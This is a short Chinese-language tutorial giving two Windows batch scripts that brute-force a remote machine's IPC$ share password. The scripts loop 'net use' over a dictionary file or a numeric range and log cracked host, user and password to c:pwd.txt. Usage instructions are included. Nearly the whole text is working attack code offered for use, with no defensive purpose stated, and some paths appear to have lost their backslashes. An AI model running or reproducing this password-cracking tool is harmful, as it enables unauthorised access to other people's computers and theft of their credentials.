原理： 

1、字典：for /f %i in (字典文件) do net use \主机ipc$ "%i" /user:"用户"  

2、数字：for /l %i in (start,step,end) do net use \主机ipc$ "%i" /user:"用户"  

实现： 

　　将下面文件存为start.bat:  

　　@echo off  

　　echo ---------------------------------------- >>c:pwd.txt 

　　date /t >>c:pwd.txt  

　　time /t >>c:pwd.txt  

　　echo 破解结果： >>c:pwd.txt  

　　if "%6"=="1" goto shit2  

　　:shit1  

　　start "正在破解....." /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3  

　　goto quit  

　　:shit2  

　　start "正在破解......" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5  

　　:quit  

　　将下面文件存为test.bat:  

　　net use \%1ipc$ %2 /user:"%3"  

　　goto answer%ERRORLEVEL%  

　　rem %ERRORLEVEL% 
　　:answer0  

　　echo 远程主机："%1" >>c:pwd.txt  

　　echo 用 户："%3" >>c:pwd.txt  

　　echo 密 码：%2 >>c:pwd.txt  

　　net use \%1ipc$ /delet 

      date /t >>c:pwd.txt  

　　time /t >>c:pwd.txt  

　　echo 破解完成。。。。zypcc >>c:pwd.txt  

　　exit  

　　:answer2  

　用法如下：  

　　1、如果用字典破解：start.bat 字典文件路径及名称 主机 用户名  

　　2、如果用数字破解: start.bat 起始数 步长 结束数 主机 用户名 1